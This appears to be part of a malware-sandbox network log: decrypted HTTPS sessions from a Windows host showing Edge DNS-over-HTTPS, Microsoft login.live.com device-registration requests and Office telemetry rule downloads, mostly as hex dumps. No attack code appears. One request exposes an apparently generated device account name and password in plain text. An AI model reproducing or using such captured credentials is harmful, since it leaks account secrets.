fe 39 d8 0a 53 59 ae f5 66 32 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79SYf2
2024-11-18 07:55:43 UTC	1378	IN	Data Raw: 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 21 00 dd 3a a8 e3 88 Data Ascii: [{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&!:
2024-11-18 07:55:43 UTC	1378	IN	Data Raw: a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f ae 25 09 87 d3 41 99 Data Ascii: TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/%A
2024-11-18 07:55:43 UTC	1378	IN	Data Raw: 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 73 73 61 67 65 73 2e Data Ascii: v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/messages.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.7	49881	162.159.61.3	443	7100	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:43 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-18 07:55:43 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.7	49879	40.126.31.69	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:43 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-18 07:55:43 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 61 67 6b 75 67 6d 6e 6c 79 69 63 61 6c 7a 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 2d 68 53 47 37 41 65 29 2b 45 3f 4d 6e 2b 33 72 64 4f 64 3b 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 71 74 6c 74 6e 74 63 62 72 65 71 75 61 6a 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02agkugmnlyicalz</Membername><Password>-hSG7Ae)+E?Mn+3rdOd;</Password></Authentication><OldMembername>02qtltntcbrequaj</OldM
2024-11-18 07:55:47 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Mon, 18 Nov 2024 07:54:44 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C526_BAY x-ms-request-id: 86bb4ab7-a2cc-482f-97a6-40a4943f910a PPServer: PPV: 30 H: PH1PEPF00018BED V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 18 Nov 2024 07:55:46 GMT Connection: close Content-Length: 17166
2024-11-18 07:55:47 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 34 30 31 30 37 45 43 35 46 39 37 33 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 30 39 65 65 39 62 38 32 2d 33 37 33 34 2d 34 61 39 38 2d 39 31 32 63 2d 63 31 34 38 66 30 39 61 35 65 32 32 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>001840107EC5F973</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="09ee9b82-3734-4a98-912c-c148f09a5e22" LicenseID="3252b20c-d425-4711
2024-11-18 07:55:47 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.7	49878	40.126.31.69	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:44 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3528 Host: login.live.com
2024-11-18 07:55:44 UTC	3528	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-18 07:55:44 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 18 Nov 2024 07:54:44 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BL2 x-ms-request-id: c632644b-9196-4725-a905-84d912215959 PPServer: PPV: 30 H: BL02EPF0001D79B V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 18 Nov 2024 07:55:43 GMT Connection: close Content-Length: 1276
2024-11-18 07:55:44 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.7	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:44 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:44 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:44 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: bc51cea9-201e-003f-04b1-376d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075544Z-164f84587bfdfkt7hC1DFW4fas00000003eg00000000c8mh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:44 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.7	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:44 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:44 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:44 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: e00571ae-f01e-0052-6cd2-379224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075544Z-1866b5c5fbblmztchC1DFWs6v4000000043000000000532k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:44 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.7	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:44 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:44 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:44 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 926299b0-201e-0096-47af-36ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075544Z-1866b5c5fbbqmbqjhC1DFWwgvc0000000540000000002qsf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:44 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.7	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:44 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:44 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:44 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: e3d9936e-401e-0083-0609-37075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075544Z-1866b5c5fbbnjgfwhC1DFW3usc00000000wg000000000394 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:44 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.7	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:44 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:44 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:44 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 2374d1b0-301e-0020-6d09-376299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075544Z-16547b76f7fd77jrhC1DFWfwq0000000024g00000000aqf1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:44 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.7	49899	4.153.57.10	443	7100	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
